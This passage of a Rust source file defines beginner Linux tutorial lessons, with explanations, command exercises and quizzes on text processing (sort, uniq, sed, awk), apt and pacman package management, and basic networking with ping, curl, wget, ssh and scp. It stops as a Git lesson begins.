1239                    success_message: "Excellent! sort arranges lines alphabetically. Useful flags:\n  -r (reverse order)\n  -n (numeric sort)\n  -k 2 (sort by column 2)\n  -u (unique, remove duplicates)\n  -t ':' (use : as delimiter)".to_string(),
1240                },
1241            },
1242            LessonStep {
1243                step_number: 8,
1244                title: "Quiz: Understanding Pipes".to_string(),
1245                instruction: "".to_string(),
1246                hint: None,
1247                step_type: StepType::MultipleChoice {
1248                    question: "What does this command do: ps aux | grep python | wc -l".to_string(),
1249                    options: vec![
1250                        "Counts how many Python programs are installed".to_string(),
1251                        "Counts lines in Python scripts".to_string(),
1252                        "Counts how many running processes have 'python' in their name".to_string(),
1253                        "Shows Python version".to_string(),
1254                    ],
1255                    correct_index: 2,
1256                    explanation: "Correct! Let's break it down:\n  1. ps aux - List all processes\n  2. | grep python - Filter for lines containing 'python'\n  3. | wc -l - Count the lines (wc -l counts lines)\n\nSo it counts how many processes contain 'python' in their command/name. This is how you combine simple tools for complex tasks!".to_string(),
1257                },
1258            },
1259            LessonStep {
1260                step_number: 9,
1261                title: "Finding Unique Entries with uniq".to_string(),
1262                instruction: "".to_string(),
1263                hint: None,
1264                step_type: StepType::Information {
1265                    content: "'uniq' removes duplicate adjacent lines.\n\nIMPORTANT: Lines must be sorted first!\n\nCommon usage:\n  sort file.txt | uniq           Remove duplicates\n  sort file.txt | uniq -c        Count occurrences\n  sort file.txt | uniq -d        Show only duplicates\n  sort file.txt | uniq -u        Show only unique lines\n\nReal-world example:\n  cat access.log | cut -d' ' -f1 | sort | uniq -c | sort -rn\n  ↑ Get IPs from log → sort → count each → sort by frequency\n\nWhy sort first?\n  uniq only detects consecutive duplicates!\n  Without sort: a,b,a,a,b → a,b,a,b (only middle duplicates removed)\n  With sort:    a,a,a,b,b → a,b (all duplicates removed)\n\nPro tip: 'sort -u' combines sort + uniq in one command!".to_string(),
1266                },
1267            },
1268            LessonStep {
1269                step_number: 10,
1270                title: "Counting with wc".to_string(),
1271                instruction: "".to_string(),
1272                hint: None,
1273                step_type: StepType::Information {
1274                    content: "'wc' (word count) counts lines, words, and characters.\n\nUsage:\n  wc file.txt              Show lines, words, bytes\n  wc -l file.txt           Count lines only\n  wc -w file.txt           Count words only\n  wc -c file.txt           Count bytes/characters\n\nWith pipes:\n  ls | wc -l               Count files in directory\n  ps aux | wc -l           Count running processes\n  grep ERROR log | wc -l   Count errors in log\n  cat file | wc -w         Count words in file\n\nExample:\n  $ wc /etc/passwd\n    45   72  2594 /etc/passwd\n    ↑    ↑   ↑\n    lines words bytes\n\nQuick counts:\n  • How many users? → wc -l /etc/passwd\n  • How many files? → ls | wc -l\n  • How many errors? → grep ERROR log.txt | wc -l".to_string(),
1275                },
1276            },
1277            LessonStep {
1278                step_number: 11,
1279                title: "Introduction to sed".to_string(),
1280                instruction: "".to_string(),
1281                hint: None,
1282                step_type: StepType::Information {
1283                    content: "'sed' (stream editor) transforms text.\n\nBasic find-and-replace:\n  sed 's/old/new/' file.txt       Replace first occurrence per line\n  sed 's/old/new/g' file.txt      Replace all occurrences (global)\n  sed 's/old/new/gi' file.txt     Case-insensitive replacement\n\nDeleting lines:\n  sed '/pattern/d' file.txt       Delete lines matching pattern\n  sed '5d' file.txt               Delete line 5\n  sed '1,10d' file.txt            Delete lines 1-10\n\nPrinting specific lines:\n  sed -n '5p' file.txt            Print only line 5\n  sed -n '10,20p' file.txt        Print lines 10-20\n  sed -n '/ERROR/p' file.txt      Print lines with ERROR (like grep)\n\nReal examples:\n  sed 's/http/https/g' urls.txt   Change http to https\n  sed '/^$/d' file.txt            Remove empty lines\n  sed 's/  */ /g' file.txt        Replace multiple spaces with one\n\nNote: sed doesn't modify the file, just outputs transformed text.\nTo save: sed 's/old/new/g' file.txt > newfile.txt".to_string(),
1284                },
1285            },
1286            LessonStep {
1287                step_number: 12,
1288                title: "Introduction to awk".to_string(),
1289                instruction: "".to_string(),
1290                hint: None,
1291                step_type: StepType::Information {
1292                    content: "'awk' is a powerful text processing language.\n\nBasic syntax:\n  awk '{print $1}' file.txt       Print first field\n  awk '{print $1,$3}' file.txt    Print fields 1 and 3\n  awk '{print $NF}' file.txt      Print last field\n\nWith delimiters:\n  awk -F':' '{print $1}' /etc/passwd    Use : as delimiter\n  awk -F',' '{print $2}' data.csv       Use , for CSV\n\nFiltering:\n  awk '$3 > 100' file.txt         Print lines where field 3 > 100\n  awk '/ERROR/' file.txt          Print lines matching ERROR\n  awk '$1 == \"root\"' /etc/passwd  Print if field 1 equals root\n\nUseful built-ins:\n  $0  = entire line\n  $1  = first field\n  $NF = last field\n  NR  = line number\n  NF  = number of fields\n\nReal examples:\n  ps aux | awk '{print $1,$2,$11}'       User, PID, command\n  awk '{sum+=$1} END {print sum}' nums   Sum first column\n  awk 'length > 80' file.txt             Lines longer than 80 chars".to_string(),
1293                },
1294            },
1295            LessonStep {
1296                step_number: 13,
1297                title: "Practice: Complex Pipeline".to_string(),
1298                instruction: "".to_string(),
1299                hint: None,
1300                step_type: StepType::Information {
1301                    content: "Let's build a complex pipeline step by step!\n\nTask: Find the 5 most common shells used by system users.\n\nPipeline:\n  cut -d':' -f7 /etc/passwd | sort | uniq -c | sort -rn | head -5\n\nBreaking it down:\n  1. cut -d':' -f7 /etc/passwd\n     Extract field 7 (login shell) from passwd\n\n  2. | sort\n     Sort shells alphabetically (required for uniq)\n\n  3. | uniq -c\n     Count occurrences of each unique shell\n\n  4. | sort -rn\n     Sort numerically (-n) in reverse (-r) order\n     (most common first)\n\n  5. | head -5\n     Show only top 5 results\n\nThis is the power of pipes! Small tools combined for complex analysis.\n\nTry modifying it:\n  • Top 10 instead of 5? Change head -5 to head -10\n  • Least common? Remove -r from sort\n  • Show all? Remove | head -5".to_string(),
1302                },
1303            },
1304            LessonStep {
1305                step_number: 14,
1306                title: "Quiz: Text Processing Mastery".to_string(),
1307                instruction: "".to_string(),
1308                hint: None,
1309                step_type: StepType::MultipleChoice {
1310                    question: "Which command extracts unique IP addresses from an access log and counts them?".to_string(),
1311                    options: vec![
1312                        "cat access.log | grep -E '[0-9]+' | uniq".to_string(),
1313                        "cut -d' ' -f1 access.log | sort | uniq -c".to_string(),
1314                        "awk '{print $1}' access.log | count".to_string(),
1315                        "sed 's/.*([0-9.]+).*/\\1/' access.log".to_string(),
1316                    ],
1317                    correct_index: 1,
1318                    explanation: "Correct! Breaking it down:\n  • cut -d' ' -f1 - Extract first field (IP address, space-delimited)\n  • sort - Sort IPs (required for uniq)\n  • uniq -c - Count unique occurrences\n\nAlternative with awk:\n  awk '{print $1}' access.log | sort | uniq -c\n\nWhy not the others?\n  • Option 1: No sort before uniq, won't work properly\n  • Option 3: No 'count' command exists\n  • Option 4: sed regex is overly complex and incomplete".to_string(),
1319                },
1320            },
1321            LessonStep {
1322                step_number: 15,
1323                title: "Completion: Text Processing Mastered!".to_string(),
1324                instruction: "".to_string(),
1325                hint: None,
1326                step_type: StepType::Information {
1327                    content: "Outstanding! You're now a text processing expert!\n\nKey commands:\n  grep pattern file          Search/filter text\n  grep -E '^[0-9]'          Extended regex\n  cut -d':' -f1 file        Extract columns\n  sort file                 Sort lines\n  sort -rn                  Reverse numeric sort\n  uniq                      Remove duplicates (needs sorted input)\n  uniq -c                   Count occurrences\n  wc -l                     Count lines\n  sed 's/old/new/g'         Find and replace\n  awk '{print $1}' file     Print first field\n\nPipe patterns:\n  cmd1 | cmd2 | cmd3        Chain commands\n  sort | uniq               Remove duplicates\n  sort | uniq -c            Count unique entries\n  grep pattern | wc -l      Count matches\n  cut | sort | uniq         Extract and deduplicate\n\nPro tips:\n  • Always sort before uniq\n  • Use -n with sort for numbers\n  • Combine awk/cut with pipes for complex parsing\n  • Test each pipe stage separately\n\nNext: Learn package management!".to_string(),
1328                },
1329            },
1330        ],
1331    }
1332}
1333
1334/// Create the "Package Management" lesson
1335fn create_package_management_lesson() -> Lesson {
1336    Lesson {
1337        id: "package-mgmt".to_string(),
1338        title: "Package Management".to_string(),
1339        description: "Learn to install, update, and manage software packages using apt (Debian/Ubuntu) and pacman (Arch).".to_string(),
1340        difficulty: Difficulty::Beginner,
1341        estimated_minutes: 12,
1342        prerequisites: vec!["nav-basics".to_string()],
1343        tags: vec!["beginner".to_string(), "packages".to_string(), "system".to_string()],
1344        steps: vec![
1345            LessonStep {
1346                step_number: 1,
1347                title: "What is Package Management?".to_string(),
1348                instruction: "".to_string(),
1349                hint: None,
1350                step_type: StepType::Information {
1351                    content: "Welcome to Package Management!\n\nA 'package' is software bundled with:\n  • The program itself\n  • Dependencies (other software it needs)\n  • Configuration files\n  • Documentation\n  • Install/uninstall scripts\n\nPackage managers handle:\n  ✓ Installing software\n  ✓ Updating software\n  ✓ Removing software\n  ✓ Dependency resolution\n  ✓ Security updates\n\nCommon package managers:\n  • apt/apt-get (Debian, Ubuntu, Linux Mint)\n  • dnf/yum (Fedora, RHEL, CentOS)\n  • pacman (Arch, Manjaro)\n  • zypper (openSUSE)\n\nWe'll cover apt (most common) and pacman (fastest growing).\n\nNo more downloading .exe files from random websites!".to_string(),
1352                },
1353            },
1354            LessonStep {
1355                step_number: 2,
1356                title: "apt Basics - Updating Package Lists".to_string(),
1357                instruction: "".to_string(),
1358                hint: None,
1359                step_type: StepType::Information {
1360                    content: "First rule of apt: Always update package lists first!\n\nCommand:\n  sudo apt update\n\nWhat it does:\n  • Downloads latest package information from repositories\n  • Checks which packages have updates available\n  • Does NOT install anything yet\n  • Should be run before installing or upgrading\n\nThink of it like:\n  • apt update = Check what's available in the store\n  • apt upgrade = Actually buy the new versions\n\nWhy sudo?\n  Package management affects the whole system, so it requires\n  administrator (root) privileges. 'sudo' gives you temporary\n  admin access.\n\nBest practice:\n  Run 'sudo apt update' daily or before installing anything.".to_string(),
1361                },
1362            },
1363            LessonStep {
1364                step_number: 3,
1365                title: "Quiz: Understanding apt update".to_string(),
1366                instruction: "".to_string(),
1367                hint: None,
1368                step_type: StepType::MultipleChoice {
1369                    question: "What does 'sudo apt update' do?".to_string(),
1370                    options: vec![
1371                        "Installs all available updates immediately".to_string(),
1372                        "Downloads the list of available packages and updates".to_string(),
1373                        "Removes old packages".to_string(),
1374                        "Reboots the system".to_string(),
1375                    ],
1376                    correct_index: 1,
1377                    explanation: "Correct! 'apt update' refreshes your package database - it downloads information about what packages are available and which versions are current. It does NOT install anything. Think of it as 'checking the menu' before ordering food. To actually install updates, you'd use 'apt upgrade'.".to_string(),
1378                },
1379            },
1380            LessonStep {
1381                step_number: 4,
1382                title: "Upgrading Installed Packages".to_string(),
1383                instruction: "".to_string(),
1384                hint: None,
1385                step_type: StepType::Information {
1386                    content: "Keeping software updated is crucial for security!\n\nCommand:\n  sudo apt upgrade\n\nWhat it does:\n  • Upgrades all installed packages to latest versions\n  • Shows what will be upgraded before proceeding\n  • Asks for confirmation (y/n)\n  • Keeps your system secure and stable\n\nSafe upgrade workflow:\n  1. sudo apt update      (refresh package lists)\n  2. sudo apt upgrade     (install updates)\n\nFull upgrade (more aggressive):\n  sudo apt full-upgrade\n  • Upgrades packages even if it means removing some\n  • Use carefully, read what it plans to do!\n\nAutomatic yes:\n  sudo apt upgrade -y\n  • Automatically answers 'yes' to prompts\n  • Convenient for scripts\n  • Use carefully!".to_string(),
1387                },
1388            },
1389            LessonStep {
1390                step_number: 5,
1391                title: "Installing Packages".to_string(),
1392                instruction: "".to_string(),
1393                hint: None,
1394                step_type: StepType::Information {
1395                    content: "Installing software is simple with apt!\n\nCommand:\n  sudo apt install package-name\n\nExamples:\n  sudo apt install htop         # Better process viewer\n  sudo apt install curl         # Download tool\n  sudo apt install git          # Version control\n  sudo apt install neofetch     # System info display\n\nMultiple packages at once:\n  sudo apt install vim git curl htop\n\nWhat happens:\n  1. apt checks dependencies\n  2. Shows what will be installed\n  3. Asks for confirmation\n  4. Downloads packages\n  5. Installs everything\n  6. Runs post-install scripts\n\nTips:\n  • Read the confirmation message!\n  • Check disk space requirements\n  • Package names are case-sensitive\n  • Most packages have documentation in /usr/share/doc/".to_string(),
1396                },
1397            },
1398            LessonStep {
1399                step_number: 6,
1400                title: "Searching for Packages".to_string(),
1401                instruction: "".to_string(),
1402                hint: None,
1403                step_type: StepType::Information {
1404                    content: "How to find packages:\n\nSearch by name/description:\n  apt search keyword\n  apt search python | grep ^python3   # Filter results\n\nShow package details:\n  apt show package-name\n  • Shows description, version, size, dependencies\n  • Shows if it's installed\n  • Shows homepage and maintainer\n\nList installed packages:\n  apt list --installed\n  apt list --installed | grep python\n\nCheck if package is installed:\n  apt list --installed package-name\n  dpkg -l | grep package-name\n\nFind which package provides a file:\n  apt-file search /path/to/file\n  (requires: sudo apt install apt-file)\n\nExample workflow:\n  1. apt search \"video editor\"\n  2. apt show kdenlive\n  3. sudo apt install kdenlive".to_string(),
1405                },
1406            },
1407            LessonStep {
1408                step_number: 7,
1409                title: "Removing Packages".to_string(),
1410                instruction: "".to_string(),
1411                hint: None,
1412                step_type: StepType::Information {
1413                    content: "Uninstalling software cleanly:\n\nRemove package (keep config files):\n  sudo apt remove package-name\n  • Removes the program\n  • Keeps configuration in /etc/ and ~/\n  • Useful if you might reinstall later\n\nComplete removal (including configs):\n  sudo apt purge package-name\n  • Removes everything\n  • Clean slate\n  • Use when you're sure you won't reinstall\n\nRemove orphaned dependencies:\n  sudo apt autoremove\n  • Removes packages that were dependencies\n  • But are no longer needed\n  • Safe to run regularly\n\nClean package cache:\n  sudo apt clean         # Remove all cached .deb files\n  sudo apt autoclean     # Remove only outdated cache\n\nFull cleanup workflow:\n  sudo apt remove package-name\n  sudo apt autoremove\n  sudo apt clean".to_string(),
1414                },
1415            },
1416            LessonStep {
1417                step_number: 8,
1418                title: "Quiz: Package Removal".to_string(),
1419                instruction: "".to_string(),
1420                hint: None,
1421                step_type: StepType::MultipleChoice {
1422                    question: "What's the difference between 'apt remove' and 'apt purge'?".to_string(),
1423                    options: vec![
1424                        "They do exactly the same thing".to_string(),
1425                        "remove keeps config files, purge removes everything".to_string(),
1426                        "purge is faster than remove".to_string(),
1427                        "remove requires sudo, purge doesn't".to_string(),
1428                    ],
1429                    correct_index: 1,
1430                    explanation: "Correct! 'apt remove' uninstalls the package but keeps configuration files (useful if you might reinstall). 'apt purge' removes EVERYTHING including configs. Example: If you remove then reinstall a database, 'remove' would keep your database config. 'purge' would give you a completely fresh start. Both require sudo.".to_string(),
1431                },
1432            },
1433            LessonStep {
1434                step_number: 9,
1435                title: "Introduction to pacman (Arch Linux)".to_string(),
1436                instruction: "".to_string(),
1437                hint: None,
1438                step_type: StepType::Information {
1439                    content: "pacman is the package manager for Arch Linux.\n\nBasic commands:\n  sudo pacman -Syu              Update system\n  sudo pacman -S package        Install package\n  sudo pacman -R package        Remove package\n  sudo pacman -Rns package      Remove package + dependencies\n  sudo pacman -Ss keyword       Search for packages\n  sudo pacman -Qi package       Package info (installed)\n  sudo pacman -Si package       Package info (repository)\n  sudo pacman -Qe               List explicitly installed\n  sudo pacman -Sc               Clean package cache\n\nFlag meanings:\n  -S = Sync (install/update from repos)\n  -R = Remove\n  -Q = Query (search installed)\n  -s = search\n  -y = refresh package database\n  -u = upgrade\n  -n = remove package-specific config\n  -s = remove unneeded dependencies\n\nCommon combinations:\n  -Syu = Sync database + upgrade all\n  -Ss = Sync search\n  -Rns = Remove + unneeded deps + configs".to_string(),
1440                },
1441            },
1442            LessonStep {
1443                step_number: 10,
1444                title: "apt vs pacman Comparison".to_string(),
1445                instruction: "".to_string(),
1446                hint: None,
1447                step_type: StepType::Information {
1448                    content: "Quick reference: apt vs pacman\n\nUpdate package lists:\n  apt: sudo apt update\n  pacman: sudo pacman -Sy\n\nUpgrade all packages:\n  apt: sudo apt upgrade\n  pacman: sudo pacman -Syu\n\nInstall package:\n  apt: sudo apt install pkg\n  pacman: sudo pacman -S pkg\n\nRemove package:\n  apt: sudo apt remove pkg\n  pacman: sudo pacman -R pkg\n\nRemove package + deps:\n  apt: sudo apt autoremove pkg\n  pacman: sudo pacman -Rns pkg\n\nSearch packages:\n  apt: apt search keyword\n  pacman: pacman -Ss keyword\n\nShow package info:\n  apt: apt show pkg\n  pacman: pacman -Si pkg\n\nList installed:\n  apt: apt list --installed\n  pacman: pacman -Qe\n\nClean cache:\n  apt: sudo apt clean\n  pacman: sudo pacman -Sc".to_string(),
1449                },
1450            },
1451            LessonStep {
1452                step_number: 11,
1453                title: "Package Management Best Practices".to_string(),
1454                instruction: "".to_string(),
1455                hint: None,
1456                step_type: StepType::Information {
1457                    content: "Golden rules for package management:\n\n1. Update regularly:\n   sudo apt update && sudo apt upgrade\n   Do this weekly or before installing new software\n\n2. Read before confirming:\n   Check what will be installed/removed!\n   Especially important for 'full-upgrade' or 'autoremove'\n\n3. Don't mix package managers:\n   Use ONE primary package manager\n   Don't mix apt with snap, or pip system-wide packages\n   Use virtual environments for Python/Node packages\n\n4. Be careful with PPAs (apt) or AUR (Arch):\n   Third-party repositories can be unsafe\n   Only add trusted sources\n\n5. Keep backups:\n   Before major upgrades, backup important data\n   Upgrades rarely break things, but be prepared\n\n6. Clean up regularly:\n   sudo apt autoremove && sudo apt clean\n   Removes orphaned packages and cached files\n\n7. Check logs if something fails:\n   /var/log/apt/history.log (apt)\n   /var/log/pacman.log (pacman)".to_string(),
1458                },
1459            },
1460            LessonStep {
1461                step_number: 12,
1462                title: "Completion: Package Management Mastered!".to_string(),
1463                instruction: "".to_string(),
1464                hint: None,
1465                step_type: StepType::Information {
1466                    content: "Great job! You can now manage software like a pro!\n\napt (Debian/Ubuntu) commands:\n  sudo apt update              Refresh package lists\n  sudo apt upgrade             Install updates\n  sudo apt install pkg         Install package\n  sudo apt remove pkg          Uninstall package\n  sudo apt purge pkg           Uninstall + remove configs\n  sudo apt autoremove          Remove orphaned dependencies\n  sudo apt search keyword      Find packages\n  apt show pkg                 Package details\n  apt list --installed         List installed packages\n\npacman (Arch) commands:\n  sudo pacman -Syu             Update system\n  sudo pacman -S pkg           Install package\n  sudo pacman -R pkg           Remove package\n  sudo pacman -Rns pkg         Remove + dependencies + configs\n  sudo pacman -Ss keyword      Search packages\n  pacman -Qi pkg               Package info\n\nBest practices:\n  ✓ Update before installing\n  ✓ Read confirmation prompts\n  ✓ Clean up regularly\n  ✓ Use one package manager\n  ✓ Keep backups\n\nNext: Learn networking basics!".to_string(),
1467                },
1468            },
1469        ],
1470    }
1471}
1472
1473/// Create the "Network Basics" lesson
1474fn create_network_basics_lesson() -> Lesson {
1475    Lesson {
1476        id: "network-basics".to_string(),
1477        title: "Network Basics".to_string(),
1478        description: "Learn essential networking commands: ping for connectivity testing, curl and wget for downloads, and basic ssh usage.".to_string(),
1479        difficulty: Difficulty::Beginner,
1480        estimated_minutes: 12,
1481        prerequisites: vec!["nav-basics".to_string()],
1482        tags: vec!["beginner".to_string(), "network".to_string(), "internet".to_string()],
1483        steps: vec![
1484            LessonStep {
1485                step_number: 1,
1486                title: "Introduction to Network Commands".to_string(),
1487                instruction: "".to_string(),
1488                hint: None,
1489                step_type: StepType::Information {
1490                    content: "Welcome to Network Basics!\n\nThe terminal is powerful for network operations:\n  • Testing connectivity\n  • Downloading files\n  • Remote server access\n  • Troubleshooting issues\n  • Automating web requests\n\nYou'll learn:\n  • ping - Test if a host is reachable\n  • curl - Transfer data from URLs\n  • wget - Download files\n  • ssh - Secure remote access\n  • Basic connectivity troubleshooting\n\nThese tools are essential for:\n  • System administrators\n  • Web developers\n  • DevOps engineers\n  • Anyone managing remote servers\n\nLet's get connected!".to_string(),
1491                },
1492            },
1493            LessonStep {
1494                step_number: 2,
1495                title: "Testing Connectivity with ping".to_string(),
1496                instruction: "ping sends packets to a host to test connectivity. Try pinging Google: ping -c 4 google.com".to_string(),
1497                hint: Some("Type: ping -c 4 google.com (-c 4 means send 4 packets then stop)".to_string()),
1498                step_type: StepType::CommandExercise {
1499                    expected_command: "ping -c 4 google.com".to_string(),
1500                    validation: CommandValidation::Exact,
1501                    success_message: "Perfect! ping shows:\n  • If the host is reachable\n  • Response time (latency) in milliseconds\n  • Packet loss percentage\n\nLower time = faster connection. 0% packet loss = good connection!".to_string(),
1502                },
1503            },
1504            LessonStep {
1505                step_number: 3,
1506                title: "Understanding ping Output".to_string(),
1507                instruction: "".to_string(),
1508                hint: None,
1509                step_type: StepType::Information {
1510                    content: "Decoding ping results:\n\nPING google.com (142.250.185.46): 56 data bytes\n64 bytes from 142.250.185.46: icmp_seq=0 ttl=116 time=12.4 ms\n64 bytes from 142.250.185.46: icmp_seq=1 ttl=116 time=11.8 ms\n\nKey information:\n  • IP address: 142.250.185.46 (DNS resolved google.com)\n  • icmp_seq: Sequence number (detects missing packets)\n  • ttl: Time To Live (hops remaining, typically 64 or 128)\n  • time: Round-trip time in milliseconds\n\nStatistics:\n  4 packets transmitted, 4 received, 0% packet loss\n  round-trip min/avg/max = 11.8/12.1/12.4 ms\n\nWhat's good?\n  • 0% packet loss = excellent\n  • <50ms = great for most uses\n  • <100ms = acceptable\n  • >200ms = noticeable lag\n  • >500ms = poor connection\n\nUse cases:\n  • Is my internet working? → ping 8.8.8.8 (Google DNS)\n  • Can I reach this server? → ping example.com\n  • Network troubleshooting".to_string(),
1511                },
1512            },
1513            LessonStep {
1514                step_number: 4,
1515                title: "Quiz: Understanding ping".to_string(),
1516                instruction: "".to_string(),
1517                hint: None,
1518                step_type: StepType::MultipleChoice {
1519                    question: "What does 'ping -c 10 example.com' do?".to_string(),
1520                    options: vec![
1521                        "Downloads the website 10 times".to_string(),
1522                        "Sends 10 test packets to example.com to check connectivity".to_string(),
1523                        "Connects to example.com 10 times per second".to_string(),
1524                        "Checks if port 10 is open on example.com".to_string(),
1525                    ],
1526                    correct_index: 1,
1527                    explanation: "Correct! The -c flag specifies count. 'ping -c 10' sends exactly 10 ICMP echo request packets, waits for replies, then stops and shows statistics. Without -c, ping runs forever (stop with Ctrl+C). This tests if the host is reachable and measures network latency.".to_string(),
1528                },
1529            },
1530            LessonStep {
1531                step_number: 5,
1532                title: "Downloading with curl".to_string(),
1533                instruction: "".to_string(),
1534                hint: None,
1535                step_type: StepType::Information {
1536                    content: "'curl' transfers data from or to a server.\n\nBasic usage:\n  curl https://example.com              Display page content\n  curl -o file.html https://example.com Download to file\n  curl -O https://site.com/file.zip     Download, keep name\n  curl -L https://short.url             Follow redirects\n\nUseful flags:\n  -o filename    Save to specified filename\n  -O             Save with remote filename\n  -L             Follow redirects (important!)\n  -I             Show headers only\n  -s             Silent mode (no progress)\n  -v             Verbose (show details)\n  -u user:pass   Authentication\n\nAPI requests:\n  curl https://api.github.com/users/octocat\n  curl -X POST -d 'data' https://api.example.com\n  curl -H 'Authorization: token' https://api.com\n\nTesting:\n  curl -I https://example.com    Check if site is up\n  curl https://ifconfig.me       Show your public IP".to_string(),
1537                },
1538            },
1539            LessonStep {
1540                step_number: 6,
1541                title: "Practice: Using curl".to_string(),
1542                instruction: "Try fetching your public IP address using curl: curl -s https://ifconfig.me".to_string(),
1543                hint: Some("Type: curl -s https://ifconfig.me (-s makes it silent/no progress bar)".to_string()),
1544                step_type: StepType::CommandExercise {
1545                    expected_command: "curl -s https://ifconfig.me".to_string(),
1546                    validation: CommandValidation::Exact,
1547                    success_message: "Great! You just fetched your public IP address. The -s flag suppresses the progress bar. curl is incredibly versatile - it's like a Swiss Army knife for web requests!".to_string(),
1548                },
1549            },
1550            LessonStep {
1551                step_number: 7,
1552                title: "Downloading Files with wget".to_string(),
1553                instruction: "".to_string(),
1554                hint: None,
1555                step_type: StepType::Information {
1556                    content: "'wget' downloads files from the web.\n\nBasic usage:\n  wget https://example.com/file.zip\n  wget -O custom.zip https://example.com/file.zip\n  wget -c https://example.com/bigfile.iso  (resume download)\n\nUseful flags:\n  -O filename      Save as specific name\n  -c               Continue/resume partial download\n  -b               Background download\n  -q               Quiet mode\n  -r               Recursive (download entire site)\n  --limit-rate=1M  Limit download speed\n\nMultiple files:\n  wget -i urls.txt   Download all URLs in file\n\ncurl vs wget:\n  wget:\n    • Simpler for downloading files\n    • Better for recursive downloads\n    • Resume broken downloads\n    • Download in background\n\n  curl:\n    • More versatile (uploads, APIs)\n    • Better for testing/debugging\n    • Pipe output to other commands\n    • More protocol support\n\nRule of thumb:\n  • Downloading files? → wget\n  • API requests? → curl\n  • Both work for simple downloads!".to_string(),
1557                },
1558            },
1559            LessonStep {
1560                step_number: 8,
1561                title: "Introduction to SSH".to_string(),
1562                instruction: "".to_string(),
1563                hint: None,
1564                step_type: StepType::Information {
1565                    content: "SSH (Secure Shell) - Remote server access\n\nBasic syntax:\n  ssh username@hostname\n  ssh user@192.168.1.100\n  ssh user@example.com\n\nExamples:\n  ssh root@myserver.com\n  ssh pi@192.168.1.50         Raspberry Pi\n  ssh -p 2222 user@server     Custom port\n\nFirst connection:\n  • You'll see a fingerprint warning (type 'yes')\n  • Enter password when prompted\n  • You're now on the remote machine!\n  • Everything you type runs on the remote server\n  • Type 'exit' or Ctrl+D to disconnect\n\nUseful flags:\n  -p port        Custom port (default: 22)\n  -i keyfile     Use SSH key for authentication\n  -X             Enable X11 forwarding (GUI apps)\n  -L             Port forwarding\n  -v             Verbose (debugging)\n\nSSH keys (advanced):\n  ssh-keygen                 Generate key pair\n  ssh-copy-id user@host      Copy public key to server\n  ssh user@host              Now login without password!".to_string(),
1566                },
1567            },
1568            LessonStep {
1569                step_number: 9,
1570                title: "Quiz: SSH Usage".to_string(),
1571                instruction: "".to_string(),
1572                hint: None,
1573                step_type: StepType::MultipleChoice {
1574                    question: "What does 'ssh user@192.168.1.100' do?".to_string(),
1575                    options: vec![
1576                        "Downloads files from 192.168.1.100".to_string(),
1577                        "Tests network connectivity to 192.168.1.100".to_string(),
1578                        "Opens a secure remote terminal session on 192.168.1.100 as 'user'".to_string(),
1579                        "Transfers files securely to 192.168.1.100".to_string(),
1580                    ],
1581                    correct_index: 2,
1582                    explanation: "Correct! SSH creates an encrypted terminal connection to the remote machine. You can then run commands as if you were sitting at that computer. It's like remote desktop but for the command line. For file transfers, you'd use 'scp' or 'rsync'. For connectivity testing, use 'ping'.".to_string(),
1583                },
1584            },
1585            LessonStep {
1586                step_number: 10,
1587                title: "Copying Files with scp".to_string(),
1588                instruction: "".to_string(),
1589                hint: None,
1590                step_type: StepType::Information {
1591                    content: "'scp' (secure copy) transfers files over SSH.\n\nSyntax:\n  scp source destination\n\nUpload to remote:\n  scp file.txt user@host:/path/\n  scp -r folder/ user@host:/path/    (recursive, for directories)\n\nDownload from remote:\n  scp user@host:/path/file.txt ./\n  scp user@host:/path/file.txt local-name.txt\n\nExamples:\n  scp report.pdf alice@server.com:~/documents/\n  scp alice@server.com:~/backup.tar.gz ./\n  scp -r photos/ alice@server.com:~/Pictures/\n  scp -P 2222 file.txt user@host:/tmp/    (custom port)\n\nUseful flags:\n  -r             Recursive (copy directories)\n  -P port        Custom SSH port\n  -i keyfile     Use specific SSH key\n  -C             Compress during transfer\n  -v             Verbose output\n\nAlternatives:\n  rsync          Better for large/many files (resumes, incremental)\n  sftp           Interactive file transfer (like FTP but secure)".to_string(),
1592                },
1593            },
1594            LessonStep {
1595                step_number: 11,
1596                title: "Network Troubleshooting".to_string(),
1597                instruction: "".to_string(),
1598                hint: None,
1599                step_type: StepType::Information {
1600                    content: "Common network troubleshooting workflow:\n\n1. Check local network:\n   ping 127.0.0.1              Am I working? (localhost)\n   ping 192.168.1.1            Can I reach router?\n\n2. Check internet connectivity:\n   ping 8.8.8.8                Can I reach Google DNS? (tests connection)\n   ping google.com             Can I reach by name? (tests DNS)\n\n3. Check specific service:\n   ping example.com            Is host reachable?\n   curl -I https://example.com Is web server responding?\n   ssh user@example.com        Can I connect via SSH?\n\n4. Check DNS:\n   nslookup example.com        What's the IP address?\n   host example.com            Alternative DNS lookup\n\n5. Check open ports:\n   nc -zv example.com 80       Is port 80 open?\n   telnet example.com 22       Is SSH port responding?\n\nCommon issues:\n  • ping works, web doesn't → Firewall or web server issue\n  • IP works, domain doesn't → DNS problem\n  • Everything fails → Check physical connection, router, ISP".to_string(),
1601                },
1602            },
1603            LessonStep {
1604                step_number: 12,
1605                title: "Completion: Network Basics Mastered!".to_string(),
1606                instruction: "".to_string(),
1607                hint: None,
1608                step_type: StepType::Information {
1609                    content: "Excellent work! You've learned essential networking!\n\nKey commands:\n  ping -c 4 host              Test connectivity\n  curl https://url            Fetch web content\n  curl -O https://url/file    Download file\n  wget https://url/file       Download file\n  wget -c url                 Resume download\n\nRemote access:\n  ssh user@host               Remote terminal\n  ssh -p port user@host       Custom SSH port\n  scp file user@host:/path    Upload file\n  scp user@host:/path/file .  Download file\n  scp -r dir user@host:/path  Upload directory\n\nTroubleshooting:\n  ping 8.8.8.8                Test internet\n  ping google.com             Test DNS\n  curl -I https://site.com    Test web server\n  nslookup domain             Check DNS\n\nQuick reference:\n  • No internet? → ping 8.8.8.8\n  • DNS issues? → ping IP works but domain doesn't\n  • Download file? → wget or curl -O\n  • Access server? → ssh user@host\n  • Transfer files? → scp\n\nNext: Learn Git fundamentals!".to_string(),
1610                },
1611            },
1612        ],
1613    }
1614}
1615
1616/// Create the "Git Fundamentals" lesson
1617fn create_git_fundamentals_lesson() -> Lesson {
1618    Lesson {
1619        id: "git-fundamentals".to_string(),
1620        title: "Git Fundamentals".to_string(),
1621        description: "Master version control with Git: init, clone, add, commit, push, pull, status, log, and diff commands.".to_string(),
1622        difficulty: Difficulty::Beginner,
1623        estimated_minutes: 15,
1624        prerequisites: vec!["nav-basics".to_string(), "file-mgmt".to_string()],
1625        tags: vec!["beginner".to_string(), "git".to_string(), "version-control".to_string()],
1626        steps: vec![
1627            LessonStep {
1628                step_number: 1,
1629                title: "What is Git?".to_string(),
